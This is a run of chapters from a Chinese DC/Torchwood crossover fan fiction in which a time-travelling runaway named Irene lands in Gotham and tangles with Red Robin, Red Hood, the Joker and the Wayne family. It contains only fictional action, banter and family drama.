《[综英美]哥谭的火炬木》 1. 误入哥谭的第一天 《[综英美]哥谭的火炬木》全本免费阅读 第一个教训,不要低估一个几百岁的老男人对酒精和安眠药的耐受力。 第二个教训,在你偷取一个能穿越时空的手表时,哪怕被你药倒的手表主人突然醒来,也不要不看参数地随意开启穿梭功能。 伊琳吐出一口水,摘下头上顶着的水草,抹了一把脸,浸在冷飕飕的水里,木然地想。 她习惯性地伸手摸脖子的位置,却摸了个空——很明显,承载着纳米薄膜的项链不在她身上。 好吧,第三个教训:别忘了随身携带纳米薄膜。虽然它多数情况下很碍事,但有些时候还是很有用的,尤其是用来隔绝臭熏熏的水,还有——她向后躲了一下,还是被溅了一脸水花——隔绝被人装在麻袋里丢下来的不明物体。 往好的地方想,她确实按计划成功离家出走了,只是她的落点不巧是在一条泛着水腥气的河里。河的一边是灯火通明、流光溢彩的都市,另一边在对岸灯光的映照下投下阴郁、破败的影子,两边由一座离河面十多米的铁索牵着的大桥连起。而不幸的是,她正在画风阴森的这边,头顶上还有莫名其妙的人在往下扔麻袋,仿佛下一刻就会惊起无数古堡里的乌鸦。 或是蝙蝠。 忽然,头顶上的人惊慌地呼喊起来,随即又变成叫骂。在拳脚相撞的闷声与痛呼声之后,就只剩下带着哭腔、拖长了调子的夸张求饶声了。 远远地,伊琳看见他们一个个被脚上拴着绳子,头朝下地倒挂下来,头皮擦过水面,引起一片大声哭叫。 感谢来自五十一世纪、经过时间机构基因改造的爸爸遗传给她的良好夜视能力,让她能将这个场面的缔造者看个明白:深色蓬松的头发,披风下被紧身制服裹着的身体显出并不突兀的肌肉线条——啊,不过肩有点窄,不像是成年男...... 伊琳心虚地收回视线:他不会还没成年吧? “未成年”刻意将声音压得低哑粗粝:“这些人是谁杀的?是谁让你们来抛尸的?” 唔,刚才麻袋里装的原来是尸体,看来这地方不怎么太平。 倒吊着的人敷衍的话刚出口,绳子一松,他们整个头没入水里,再出水时,交代的话和求饶就连珠炮似地射了出来。 啊哈,带着俚语的美式英语。 伊琳在脑海里打了个响指,运气还算不错:地球,大概率是美国,而且很可能是相近的年代。没有翻译器的用武之地。 岸上人问完了话转身就要离去,留下几个黑/帮小喽啰悬在空中挣扎得摇摇摆摆:“放心,警察马上会来救你们上去。” 眼见戏落了幕,伊琳漫不经心地抬起手臂,凭着记忆在手表上按了几个键:往霓虹灯的地方挪些距离就好,不多,几百米就够了。 一秒,两秒,三秒......什么都没发生。 呃,这个手表不至于不防水吧? 她不信邪地按了一下,又一下。 按最后一下的时候一个暗浪打了过来,她歪了下身体,手指一斜,按下去的那一刻就知道情况不妙。下一秒,一阵白光穿透了夜色,她被闪得闭上了眼睛,听见不远处传来咒骂声。 等她适应了灯光、终于睁开眼睛,她直直地对上了岸上的人投过来的目光。 她一边露出灿烂的微笑、用能做出的最无辜的眼神回看过去,另一边拼命按着手表上穿梭功能的确认键。直到“未成年”往她这儿走了几步,伊琳才终于接受手表坏了这一惨痛的事实,维持住笑,手在头边一挥而过,行了个短暂又四不像的军礼:“嘿,你可以......” 随着手的扬起,她在水中失去平衡,沉了下去。她扑腾了几下,一口气还没用尽,又重新浮了起来:“劳驾,介意帮我一把吗?我好像快沉下去了?” 救人的过程非常没有创意,依旧是一根绳子——大概是和吊那些小喽啰同一材质的,用钩爪牢牢固定在河岸边沿。伊琳把绳子在手臂上绕了几圈,借着上头上提的力,踩在垂直的岸沿爬了上去。 “谢了,这位......先生。” 眼罩后的眼睛怀疑地眯了起来:“红罗宾。” “啊对,谢谢你了,红罗宾,你真是个好人。”伊琳果断发了张好人卡,向后退了几步,做好了开溜的准备,“没事的话我就......” “等等,”尾音没有压住,透出少年的清亮来,“我想问,你是怎么到水里去的?” “呃,如果我说我是被他们扔下来的呢?” “我一路跟着他们。” “开玩笑的,”伊琳飞快地改口,“我有晚上游泳的习惯,来这里游个泳。” 一片沉默。 伊琳无奈叹了口气:“嘿,听着,我是不介意和帅哥多聊会儿天的,但前提是我的衣服不是湿的。除非......”她眨了眨眼,轻快地说:“你想找个地方脱了衣服聊。” 虽然手表惹祸的灯光已经被伊琳关上,红罗宾的脸隐没在夜色下,她还是在这片沉默里看到了可疑的热气腾腾的红色。 哎呀,没过脑子顺嘴撩的这位好像是个纯情少男。 她再次想起了自己对眼前人年龄的推测,飞速道歉:“不好意思,开个玩笑。不过你既然一路跟着他们过来,应该知道我和他们不是一伙儿的。”她耸了耸肩:“那么我想我没有义务向你交代我在这儿的原因。” 等了一会儿,见红罗宾看起来不打算再说什么,伊琳指了指身后漆黑的城市:“如果你不介意的话,我就先......” 红罗宾做了个“请”的手势,发射抓钩荡过夜空,披风擦过伊琳的脸,很快就没了踪影。 连句再见都不说啊。 伊琳“啧”了一声,转身一路小跑向着城市的方向而去。 阴暗狭窄的小巷,凹凸不平的地面,缝隙里的污水,一切都像极了模糊记忆里自己幼时生长的地方,真是讨 2. 误入哥谭的第二天 《[综英美]哥谭的火炬木》全本免费阅读 蝙蝠洞里,蝙蝠侠看着屏幕上一无所获的查询结果,深深皱起了眉。 红罗宾捧着咖啡杯,眼下一片青黑:“不管是官方档案还是论坛博客,都没有提到过火炬木这个组织。”他喝了一口黑咖啡,深深呼了一口气,朝着阿尔弗雷德晃了晃杯子:“阿福,谢谢你的咖啡。” “不用谢,提姆少爷。不过请容我提醒您,咖啡不能代替睡眠。”阿尔弗雷德转向布鲁斯,“老爷,您也是。” 布鲁斯不露痕迹地转移了话题:“阿福,你在英国有听说过火炬木吗?” “我恐怕没有。” 芭芭拉的声音从通讯器里传出来:“会不会是那个女孩编的?根本就没有火炬木这个机构?” 提姆迟疑着摇了摇头:“虽然她说话是不太正经,但她的神情语气告诉我,至少她在说这句话的时候很认真。而且她说话的时候确实带了些威尔士口音,很有可能是在威尔士长大的。” “神谕,她现在在干什么?” 通讯器里传出敲击键盘的声音:“犯了两起抢劫案,好吧,准确来说是反抢了两个惯犯。” 显示器开始播放一个监控视频。 “花拳绣腿,也只能对付最底层的渣屑。”达米安撇了撇嘴,“我实在看不出她有什么值得在意的地方。” 芭芭拉突然出声:“又一起非法入室。她刚刚进了一间屋子,看来是空的。” “我看看。”提姆敲击键盘的手突然停住了,“呃,我们要注意她的理由又多了一个。”他偏了偏身子,让开屏幕:“她闯进的是红头罩的房子。” 一声振动音,桌上的手机屏幕亮了一下,一条消息映入眼帘:替代品,离我的安全屋远点。 “杰森发现我黑进监控了,”提姆叹了口气,“我们要不要告诉他......” “先不要。我想看看在没有额外信息的情况下,杰森会对她做出什么样的判断。” ** 伊琳斜靠在沙发扶手上,白色的防尘布掀了一半,挂在沙发靠背上摇摇欲坠。低矮的茶几上摆了三部手机,电话卡袒露在外。 好消息是,她总算知道了自己身处的时间地点:美国某一没听说过的城市,就在自己离开的一周后。 坏消息是,她的手机浸过水后坏了,电话卡也是,换了两台手机都无法识别。 她伸了个懒腰,往沙发里蹭了蹭。既然无法再穿越到其他地方,爸爸估计很快就会找过来,这几天就随便找个地方打发一下时间。这个屋子虽然破旧,但东西还算整洁,家具上都罩着布,表面有一层薄灰,看上去有一段时间没有人住了,倒是可以当个短时间的落脚点。 短暂的好眠被开门声打断,伊琳僵硬地坐了起来,转头对上了一个红色的全包头罩。下一秒,一把枪直直地对准了她:“你是谁?” “伊琳,伊琳·埃文斯。”伊琳从沙发上弹跳起来,举起双手,“抱歉,我还以为这屋子没人住。毕竟......”她摊了摊手,示意这罩满了白色防尘布的屋子,在枪的逼近下又重新把手举过头顶,歪头笑了笑:“呃,你知道我的意思。” 伊琳踩着小碎步,一点点向门口挪过去,视线在他皮衣下傲人的胸肌上停留了一秒,又试图从他宽阔的肩和窄小的门所形成的缝中挤过去。 红头罩“啪”一下将门关上了:“我说过你可以走了吗?” 二人离得很近,伊琳能清楚地闻到他皮夹克上的火药味和一丝淡淡的血腥味。她上下扫视,目光定在他的肩膀,那一处破了一个并不明显的洞,深色在洞的旁边染了一圈。 “啊,我知道了,你是需要有人帮你包扎吗?” 红头罩沉下声音:“单手也不影响我朝你的脑袋开一枪。” 伊琳眨眨眼:“但单手影响很多事,比如做饭,比如吃饭,再比如包扎。” 红头罩“啧”了一声,小心挪动伤手掏出手机,见依旧没有收到回复,他盯着伊琳看了一会儿,突然说道:“你见过蝙蝠侠?” “没有。但我认识红罗宾,我没猜错的话,他们是一起的,对吧?” “哈,替代品。”红头罩有些不耐烦地冷笑一声,放下手枪,“急救包在浴室里。” “还好,是贯穿伤,子弹没有留在体内。” 止血,清理伤口......没有麻醉?递一块纱布让他放嘴里咬着。不愿意摘头罩?那算了,忍着吧。缝针。 红头罩脖子上都是疼出来的汗,声音还竭力保持着平稳:“你看起来很熟练。” 伊琳灵巧地打了个结,剪断多余的线,皱了皱鼻子:“给家里人包扎练出来的。” “你家里人经常受伤?”红头罩试探,“但你听起来不像是哥谭人。” “怎么,只有哥谭人才能经常受伤?”伊琳撕开一袋医用绷带,“我确实不是哥谭人。” 绷带缠得很紧,伤口被挤压,红头罩吸了口冷气,深深地看了伊琳一眼,怀疑她是故意的,但决定大度地不和她计较:“那你为什么来哥谭?” 伊琳弹了下舌头,用力打了个结,听到红头罩忍不住的闷哼,才满意地拍了拍手:“离家出走。” “哈,”红头罩阴阳怪气地笑了一声,“你可真是给自己挑了个好地方。” “确实,”伊琳灿烂地笑出了一排牙齿,“这里的人都很热情,给我送了不少东西。” “你会知道的。”红头罩嗤笑,起身去抽屉里拿了件T恤套上,“为什么离家出走?家里人对你不好吗?” “我爸爸对我很好。”伊琳仔细清洗着手上的血渍,抬头看向镜子里与爸爸相似的蓝眼睛,在冷光灯下颜色很浅,像晴朗无云的天空。她记忆里的爸爸总是笑着,好像无坚不摧,什么困难对他来说都不值一提。等她长大些,才看清那低垂下的眼睛里与外表不符的沧桑和疲惫。“要我说的话,有些太好了。” 红头罩感兴趣地“嗯哼”了一声,示意自己在听。 伊琳叹了口气,甩干手上的水:“你知道的,就是那种过度保护、‘我能做你不能做 3. 误入哥谭的第三天 《[综英美]哥谭的火炬木》全本免费阅读 当一群小丑装束的男男女女从各个门涌进来时,伊琳还以为这是商场搞的什么庆典活动,结果就看见人群尖叫着四散奔逃,一个绿头发小丑将机枪扛在肩上,朝天花板开了一枪:“大家都别动,不然就有人的脑袋要开花啦!” 又是奇装异服的罪犯。伊琳在心里翻了个白眼,默默吐槽这座城市奇怪的审美取向。 真不知道是这座城市犯罪率高还是自己的运气差,她还是专门挑了白天出来采购的呢,结果还是没躲过去。伊琳惋惜地看向满满一购物车的零食:这里好多牌子她没在卡迪夫见过,还挑了好久,打算一样样试过去。看现在的情况,也不知道她能不能把这些东西完好地带回去。 “表演时间到!请观众们留在原地不要走动!”小丑们牢牢把守住各个出口,将人们围在中间。 “嘿,为什么这么安静?掌声、尖叫声、欢呼声呢?”为首的小丑一脚踩上购物车,另一脚在地上一滑,大笑着冲倒了一个货架,酒和玻璃碎渣淌了一地,“还有,笑声呢?” 砰、砰、砰。 外围的小丑们不知从什么地方掏出了几只礼花枪,欢呼着朝天发射出亮片与各种颜色的彩带,纷纷扬扬地洒在地上。伴着彩带出现的,是黄色、紫色、绿色的烟雾,里面还有亮晶晶的闪粉,一点点向人群密集处弥漫。 人们更加歇斯底里地尖叫起来。但随着烟雾的范围渐渐扩大,尖叫声很快就被大笑给取代了,哪怕是原本气喘吁吁、满头白发、嗓音嘶哑的老人也用着一种要将声带撕裂的声音将胸腔里的气像炮弹一样打出去。 “就是这样,大家一起笑起来吧!”为首的小丑掏出了一个拐杖形状的气球,把它当做指挥棒,跳跃在货架顶端,顺着烟雾飘散的地方一路走去,“听我的指挥,让整个哥谭都听到你们的声音!” 整个哥谭有没有听到伊琳不知道,反正她的耳朵快聋了,她拉上了外衣的拉链,将裤子口袋的外沿牢牢盖住,音速手枪隐没在里面。一分半后,她终于憋不住了,咳嗽着换了几口气:是紫色的,颜色不错。 她一瞬间对四肢都失去了感知,只能感到心脏在胸腔剧烈的跳动,每一次收缩都是越来越急促的催促。她的喉咙里迸发出了第一声大笑,像是推到了神经里的第一张多米诺骨牌,一连串的笑从她的肺里被逼出来,炙热和血腥味在喉咙里蔓延开。 眼前黑一阵白一阵,马赛克般的光点也来凑热闹,她眯着眼睛看跳来跳去的小丑,在笑声的间隙,从牙缝里挤出断断续续、低不可闻的声音:“真是......糟糕的......表演。” ** 醒来时,伊琳的眼前一片漆黑。适应喉咙用力过度的撕裂痛感后,她才注意到手腕上传来隐约的针扎般的刺痛,伴着脉搏一跳一跳的。 她静静在原地躺了一会儿,没听见有人走动,只有辨不清数目的轻浅呼吸声。 看来暂时安全。 她从地上支起身体,揭开腕表上包裹着的布套,按了几个键,红色的提示在莹莹蓝光中浮现出来:药剂待补充。 她满意地点头,看来这手表也没坏彻底,除了当手电筒也是有些别的用处的。它里面配置的清醒剂来自五十一世纪的顶尖科技,能应对全宇宙上万种各个星球的迷/幻/药,在检测到身体功能指标出现问题时自动注入人体内。唯一的缺点就是手表内只能储存一次的剂量,每次使用完后都要及时添加。 微弱的荧光也让伊琳将自己身处的房间看了个大概:看起来像是一个空荡的仓库,没有窗,周围躺满了昏迷的人,好几个看起来有些眼熟,应该是在商场里见过。正对面的墙上有一道铁门,底下不足半厘米的缝隙透出白光。 口袋里坚硬的枪依旧抵着大腿——连搜身都没有,这帮人很自信啊。 有音速手枪在手,这里的墙、运气好的话还有地板天花板都挡不住她,她可以先找个隐秘的位置开个洞趁机溜出去。又或者——她看向传来开锁声的铁门,闭眼躺了下去——静观其变。 走廊上的灯穿透进来,刺耳的电流声在仓库里激起回音,伊琳的眼皮抖了抖。 “哦,接触问题。现在好了。”熟悉的小丑声音在嘹亮的马戏团开场音乐里显得诡异又和谐,“女士们先生们,都醒醒,观众已经入场,请开始你们的表演。” 伊琳跟着身边的动静一起站了起来,试探性地睁开眼,发现所有人都顶着巨大的夸张笑脸,拥挤地挨个穿过大门。 好吧,幸好我笑起来不难看。 她僵着脸混在人群里,很快就注意到了前方不同于劣质音响里播放的音乐的混乱声。 “B,人太多了,我们没有足够的镇静剂。”红罗宾刚躲过一个拳头,拎着那人的手臂将他摔在地上,身后就被人踢了一脚。 是一位穿着高跟鞋的女士,踢出去的时候还踉跄了一下,力气不大,但尖跟落在身上肯定很痛。 “红罗宾,不要告诉我你害怕这些平民。” 武士刀没有出鞘,但挥击起来速度快角度刁钻,专往膝盖和脚踝处打,多数人被打中后就跪倒在地,失去了战斗能力。虽然动作老辣狠厉,但这个穿着胸前写着“R”的红色制服的人无疑是一个孩子,最多十三四岁。在这种混乱的环境中,他的身形倒是成了一种优势,能让他更加轻松地游走闪避,但他嘴里不断发出的不耐烦的“tt”声也暴露出他并非像他说的那样游刃有余。 “夜翼,找机会接近小丑。”说话的人全身黑色,声音低沉有威慑力,动作果断有力,黑色的披风随着动作发出历历风声,头罩上的猫耳朵倒是有点不符他外表的可爱。 伊琳过了一会儿才反应过来,这不是猫耳朵,是蝙蝠耳朵。原来他就是那个调料怪人和头罩怪人都提到过的蝙蝠侠。 “收到,B。” 伊琳朝着这清亮欢快的声音看了过去,夜翼射出抓钩固定在房顶,轻盈地飞荡过来,顺便踹翻了两个挡在他面前的人。他在空中无遮无拦,一旁小丑帮的人趁机朝他开枪,他收回抓钩,前空翻避让的同时向枪响的地方击出一只飞镖,稳稳地落在地上:“嘿,你们对马戏团音乐的审美真差劲。” “当心,先生。”夜翼躲过冲着他来的一拳,顺手扶了一下打空后踉跄的男子,一记手刃将他劈晕,笑容灿烂地说,“做个好梦。” 平民被小丑控制着将他淹没。 夜翼胸前蓝色的“V”字在人群中若隐若现,伊琳好几次见他尝试借力跃过挡路者的头顶,又被身后的人扯了下来。双棍在他的手中上下翻动,只是他身旁局面太乱,有时凭着战斗习惯行事,中途又想起对方是无辜的平民,打起来难免束手束脚。好几次他手上的棍子明明已经朝着脖子后面去了,又拐了个弯,改去击打对方的腹部。 伊琳没再听到他密集的俏皮话,只见他收敛了笑意,那双蓝眼睛穿透人群,寻找着人墙后的小丑,眼神冰冷而坚定。 她顺着人流,脸上依旧挂着夸张的笑,不动声色地向他走去。 “嗨,漂亮男孩,冷静些。”伊琳小跳着躲过一记横扫而来的棍子,抬头对上那双透着震惊疑惑的眼睛,嘴角真挚地上扬了些许,“听着,把我扔到那个小丑那里,剩下的我来搞定。” “哦对了,做好准备,当心强光。” 红罗宾从通讯器里听到了她的话,从战局中抽身出来瞥了一眼,嘀咕了一句“怎么又是她”。 蝙蝠侠说:“夜翼,按她说的做。” 夜翼看着她小幅度地点了一下头,卡里棍回旋一圈,短暂地腾出一片空档。他牵住伊琳的腰带,用抓钩枪带着她腾空而起,用力向前一荡,顺势把她往小丑的方向甩了出去。 乱斗到了现在,突然有人被打飞出来并不惹人注意。伊琳落地时滚了几圈卸力,随即单腿跪了起来,利落地从腰间拿出枪,对着小丑扣动扳机。 小丑在她开枪的瞬间向前一扑,只留一把背上被枪开了个方形孔洞的椅子留在原地:“哈,我早就知道这里混进来了一只小老鼠。” 一声枪响,子弹撞在音速手枪的枪管上。伊琳被大力震得一抖,枪落在地上。 小丑助跑几步,一个滑步贴近伊琳,同时将手枪抵在她的额前,扭头看了一眼身后残破的椅子,赞叹道:“好姑娘,愤怒吗?绝望吗?想杀了我吗?” 伊琳学着他,嘴角弯起一个夸张的弧度:“我只想告诉你,你的表演真是糟糕透了。” 垂落的指尖在腕表上一点,耀眼到几乎能灼伤眼睛的白光瞬间充满整个屋子。 伊琳闭着眼,身子向后一弯,躲过小丑 4. 误入哥谭的第四天 《[综英美]哥谭的火炬木》全本免费阅读 哥谭的犯罪巷等级森严。 别误会,这里可没有什么成文的法典,但鲜血与恐惧把这点刻在了这里每一个人心中:夜晚的犯罪巷只属于那些鼎鼎大名的人和他们的帮众,如果有想不开的菜鸟一定要在夜晚出没在这里,那么被蝙蝠抓到痛打一顿扔给警察将是他们能期望的最好结局。 泰德不是菜鸟,但和那些大人物也攀不上关系,所以他只是谨慎而谦卑地把白天犯罪巷边缘的三条巷子划成了自己的地盘,等着惊慌失措的羔羊一头撞进他的巢穴。 今天他交了令他难以置信的好运。 当他看见那个在巷子里反复踱步、穿着考究西装、头发被发胶梳得板正的男孩时,他简直不敢相信自己眼睛。而等那个男孩转了过来,他更是忘了去思考这样一个富家公子哥为什么独身一人出现在这里,脑海里只剩下一个念头:老天,这是韦恩家的那个小儿子!唯一亲生的那个! 一想到他能换取的赎金数量,泰德就激动得手都要发抖。 他自然想不到,就在一墙之隔的巷子里,他的四个同行正被五花大绑地堵着嘴,等待着他们的警车之旅。 而当他看见那个韦恩男孩眼睛死死地盯着他、嘴唇 嚅动时,也只当他是害怕得傻了,决计想不到男孩已经想好了千八百种对付自己的方式,正在做最后的确认:“德雷克,那个女人还没来吗?” “等等,”提姆的屏幕上飞快地缩放着十几个摄像头视角,伊琳的身影一闪而过,“她来了!就这个人了!把他留着!” “好吧。”达米安失望地松开了握在手里的罗宾镖。 泰德第一次遇到这样的大买卖,直到达米安和提姆的对话结束,他才下定决心冲了出去,一把箍住韦恩男孩,又将他的嘴捂住:“不要出声,只要你的花花公子父亲从指缝里漏一点钱出来,你就能安安稳稳回家了。” 一切都顺利得不可思议。韦恩男孩笔直地站着,没有挣扎踢打撕咬,安静得像是傻了。 他当然没有听到达米安耳朵中来自韦恩科技的隐蔽通讯器里不断传出的声音:“千万别动手,她就快来了,还有十秒,就要转过来了。” 于是一天之内,泰德又走了第二次令人艳羡的好运道:一位美丽高挑的女子走进了他所在的巷子,看见他的时候女子眼里微微露出错愕的神色,随即嘴角上扬,笑着向他点了点头。 哪怕在晦暗的天色下,她蓝色的眼睛也仿佛是清澈的天空,栗色的卷发温柔俏皮。泰德忍不住想,她不该在哥谭,更不该在犯罪巷,她该在大都会的公园里追在一只调皮跑出来的猫后面,在树下无助地等待超人的帮助,再亮着眼睛向超级英雄道谢。 “这里很热闹啊,”她拖长了声音说,然后利落地转身离去,“那就不打扰你们了,再见。” “等等,”泰德吃力地拖动韦恩男孩,赶了上去。他松开了捂着韦恩嘴的手,从口袋里掏出折叠刀甩开,“把你身上的东西都掏出来。” “你确定?”伊琳转过身,歪了歪头,笑得更加灿烂了,“如你所愿。” 她缓缓把手伸向口袋,随即迅速抽出,坚硬的枪管顶在了泰德的下巴上。 泰德身子一僵,松开了钳制韦恩的手,开始浑身发抖。 达米安往侧面跨了一步,皱着眉头拍了拍衣服上被捏皱的位置。 “这把枪打出来的洞可是方形的呢,没有多少人见过。”伊琳雀跃地原地小跳几步,“你可真是走了大运。” ** 伊琳刚走进巷子的时候就觉得眼前的情形很奇怪。男孩身体绷得笔直,双手握拳,双肘微微弯曲成能瞬间发力的角度。不像是害怕,倒像是在强行压抑着什么。 绿色的眼睛原本半眯着,冰冷又疏离,一看到她就死死盯着,简直要冒出火来。 嘶,这个身高体型和眼睛颜色,怎么有点眼熟? 她作势要离开后,眼角余光处墙后闪过的一丝红色更是肯定了她的猜测。于是她打了个哈欠,决定好心放劫匪一马,让他感受一下哥谭义警的温暖。 但既然他自己想不开,好吧。 伊琳手指一拨,倒转手枪,将枪柄砸在了泰德的太阳穴上。 然后,她熟练地蹲下,用警察搜身的细致动作翻找过泰德身上的每一个口袋与夹层,满意地掏出手机、皮夹和散落的零钱,最后起身踢了一脚昏迷的泰德,看都没看达米安一眼,就要自顾自地离开巷子。 靠监控目睹全程的红头罩忍不住嘲笑:“我就说这恶魔崽子不讨人喜欢。” 眼见这场景不太可能朝他安排的“大姐姐勇救遇险小男孩、轻言细语安慰送他回家”的剧情发展,红罗宾只能自己现身,跳到了伊琳身前:“虽然我们不太管这些小打小闹的黑吃黑,但你是不是太明目张胆了一点?” “都是为了生活。”伊琳拍了拍手,“正好,你把这个孩子带回去吧,他看起来都吓呆了呢。” “你这个......” 红罗宾迅速将达米安拉到身边,打断了他的话:“好的,没问题。” 伊琳拿着手机挥了挥手,在镜头对着达米安时隐蔽地按下了拍摄键。 “好吧,让我来看看你是谁。” 看着识别出的结果,伊琳点进韦恩家的词条,又打开哥谭蝙蝠系英雄的目录,从沙发上撑起身子,感兴趣地挑起眉毛。 ** 第二天,被门铃唤醒的伊琳并不意外地在门外看见了哥谭小报的宠儿——布鲁斯·韦恩。 布鲁斯倒是肉眼可见地吃了一惊,仿佛焊在脸上的花花公子式的愚蠢笑容都往下掉了一英寸:“呃,很抱歉打扰你的午休......” “没事,反正也不是午休。”伊琳忍不住打了个哈欠,拢了拢睡袍,伸手把散落在前面的头发一股脑撸到了后面去,扬起一个笑,“很高兴在一天的开始能看到这样一张魅力四射的脸。”尤其在这张脸属于让她一夜没睡的元凶的情况下。 “能让一位可爱的女士拥有好心情是我的荣幸。”布鲁斯微微欠身,“请容许我向您介绍自己,我是布鲁斯·韦恩。” 他看起来的确像是哥谭这样的城市能养出来的富家公子,笑容轻浮矜傲,眼神迷蒙,身上飘来淡淡的酒气,仿佛永远沉溺在虚幻但坚固的气泡里,不在乎泥沼和暗流会将他带向何处。他是哥谭的王子,总有一个精致的角落能供他尽情享乐。 5. 误入哥谭的第五天 《[综英美]哥谭的火炬木》全本免费阅读 带着伊琳参观了一圈后,布鲁斯终于在主位上坐定,端起餐前酒,自然地滑进了花花公子布鲁西的浮夸笑容里:“希望刚才的参观没让你觉得无聊,伊琳。” “怎么会,”伊琳坐在他左手边第一个位子,眼睛亮闪闪的,“韦恩庄园简直是个博物馆,有着那么多精美的艺术品。” “不过我真为你感到遗憾,”伊琳非常刻意地叹了一口气,“布鲁斯,你身处其中,却没有一颗想要去发现美的心。” 布鲁斯交叉手指放在桌子上,身子往前微微倾斜:“为什么这么说?” “你刚才带我看过那么多珍贵的收藏,却丝毫没有把心放在上面,只是一味在观察我,还不足以证明你没有欣赏美的眼睛吗?” 布鲁斯眨了眨眼,轻柔了声音近乎用气音说道:“或许,这恰恰证明了我多么会欣赏美。” “噗嗤。”迪克狼狈地拿起餐巾擦拭自己的前襟和桌面,“抱歉,我不小心呛到了。” “格雷森,就算是你,也不许嘲笑父......德雷克,你放开我!” “没事,”提姆揉了揉挨了一记肘击的腰侧,咬牙说,“你们继续聊。” “那么,伊琳,你来哥谭是旅游,工作,还是上学?” “哦,都不是,”伊琳认真切着小羊排,随口说,“就是离家出走随便走到这儿的。” “我很遗憾。不过我想这是孩子开始掌控自己人生的必经之路,我的孩子也有过这样的时候。恭喜你,伊琳,让我们为你崭新的人生碰杯吧。” 伊琳眼睁睁看着对面迪克的脸色沉了下去,身边的杰森毫不收敛地“哼”了一声。 她皱了皱鼻子,干脆地碰杯:“真希望我爸爸也能和你一样通情达理。” 提姆剧烈地咳嗽起来。 布鲁斯面不改色:“我真好奇,是怎样的父母能培养出你这样勇敢善良聪慧的女士。” 哪怕是伊琳,也被布鲁斯这一连串的褒奖之词夸得汗毛倒竖:“我的妈妈在我很小的时候就去世了。” “我很抱歉。” 伊琳摆了摆手:“至于我的爸爸,他是一名退伍军人,也是一名外星阴谋论者,就是那种觉得外星人要来侵占地球、地球必须做好准备之类的人。不过考虑到这些年发生的事,如今这也谈不上阴谋论了对吧。” 布鲁斯仍然笑着,但眼睛里逐渐带上了冰冷的审视:“哦,确实,那些氪星人、火星人确实把地球弄得乱糟糟的。” “不不不,我爸爸可不歧视外星人。说真的,只要外星人不伤害地球人,他可喜欢他们了呢。他总是说,外星人有无限的可能,总是能给他惊喜,不管在什么地方。” 伊琳的句尾惹人遐思地拖长了,布鲁斯的笑僵了一下,干巴巴地说:“原来是这样。” “我爸爸是个工作狂,他总是自己把所有的事都做完了,一点都不给我剩。所以我想,我要找个地方建立自己的事业,研究抵御外星人之类的。”伊琳眨了眨眼,“你知道的,家族传承。” 布鲁斯眯起眼睛:“在哥谭?” “我不这么想。哥谭有罪恶,有暴力,有人能滋生的一切欲望,但是我并没有看到外星人。”伊琳轻轻晃了晃杯子里的红酒,“更何况,还有那么多的义警,他们做得很好,这里或许并不需要我。我只需要一点时间去想清楚要去哪里。” “那么,北极怎么样?我总觉得那里有外星人。我之前去过一次,还与北极熊搏斗了呢。” 布鲁斯开始喋喋不休地讲起他的那些冒险与极限运动,伊琳附和着,时不时补充一句:“哦,这听着真像是索拉拉星球的风景。” 二十分钟后,布鲁斯满脸通红,说话含糊不清,仰躺在椅子上往下滑。 “埃文斯小姐,请原谅布鲁斯老爷,他一高兴就忘记了自己的酒量。”阿尔弗雷德撤下主食,换上了一盘甜点,“请一定要尝尝我的手艺。别担心,几位少爷都很健谈,一定能同您聊个尽兴。”他搀扶着布鲁斯离开了餐厅。 伊琳视线一个个扫过去—— 健谈的达米安早已经吃完了盘子里的素食,手法娴熟地撸着阿尔弗雷德猫,满脸写着“想走”,低气压能冻死桌上的所有人。 健谈的提姆不知道从什么地方弄来了一杯咖啡,每当头往胸前掉的时候就啜一口咖啡,像有根绳子拎着似地颤巍巍把头摆直了,半闭着眼睛露出礼貌性的微笑。 健谈的杰森在小甜饼端上来后终于改掉了双手抱胸冷笑的动作,但嘴里满满当当地塞着小甜饼,显然无暇与伊琳进行社交性的聊天。 迎着伊琳的目光,真正健谈的迪克只能硬着头皮承担起这个重任,用丰富的手势撑起苍白空洞的交谈内容:“从你的公寓走到拐角处,右转再左转,那里有一家酸奶冰激凌店,一定记得撒上坚果碎。杰森小时候很喜欢,总是让我晚上带他偷偷溜出去吃。” 杰森用力放下手中的叉子,和盘子碰在一起发出响亮的脆响。 迪克深吸了一口气,转移话题:“还有玫瑰木道的咖啡店,他家的香草拿铁棒极了,你有机会可以尝尝。不过不想失眠的话千万不要傍晚以后喝,提神的效果特别好,提姆可以作证。” 提姆刚把咖啡杯微微端起,又果断地放下了,脑袋一点,干脆地闭上了眼睛。 迪克艰难地重新提了几个话题,尝试着将其他人融入到聊天中,却一直没有得到回应。 “这样吗?听起来不错。”伊琳再一次用相同的语气附和着。 达米安忽地一推椅子,站了起来:“我可以离开了吗?已经到了阿尔弗雷德的散步时间了,他需要养成规律的作息。” 迪克微笑:“当然,小D。” 提姆突然清醒过来,果断跟着离开:“我等会儿还有一个会,我先走了。很高兴遇见你,伊琳。” 伊琳看着迪克的眼睛一点点黯淡下去,随着杰森的离去,他整个人看上去疲惫不堪。< 6. 来到布鲁德海文的第一天 《[综英美]哥谭的火炬木》全本免费阅读 “嗯?” “就是刚才吃饭的时候,杰森和提姆......他们不是针对你的。他们对我......有些心结。”他转着手里的杯子,笑得很勉强,“你别看布鲁斯这样,只有他才能把整个家粘合在一起。我想像他一样,但总是会搞砸。不管我怎么努力。” 伊琳从鼻子里轻轻“哼”了一声:“我小时候总觉得爸爸是天神,无坚不摧。我后来才发现,原来他也会受伤,也有承受不住的时候。我想帮他,可他只把我当孩子,仿佛我永远无法......” “成为他。”迪克说。 “取代他。”伊琳说。 迪克摇了摇头:“我没有想过取代他,我只想成为他那样的人,和他平等的人。” 伊琳侧头趴在桌上,举杯碰了碰迪克的杯子,哈哈大笑:“成为一个花花公子?” 迪克跟着笑:“对,一个花花公子。” 伊琳一口喝完杯子里的酒,脸被酒气冲得通红,跳下椅子:“那我教你一招,成为一个花花公子的第一步!” 她摇摇晃晃来到台球桌前,掏出一把钱:“来!我和你们打!” 迪克不常打台球,但毫无疑问,伊琳的技术奇差无比。 教他当花花公子不能是教他输钱吧? “算你们运气好!再来一局,你们绝不会再那么好运了。”又一沓钱拍在了台球桌上。 如迪克所料,这沓钱又很快输光了。 “再来一次,我压上全部,你们敢不敢跟?” 众人哄笑:“有什么不敢?” 伊琳掏出了皮夹里所有的钱,又转头去摸迪克的口袋。 “嘿,放心。”她用气音说,冲着迪克眨了眨眼。 迪克恍然,顺着她的把戏激烈地阻拦:“别冲动,你喝醉了。” 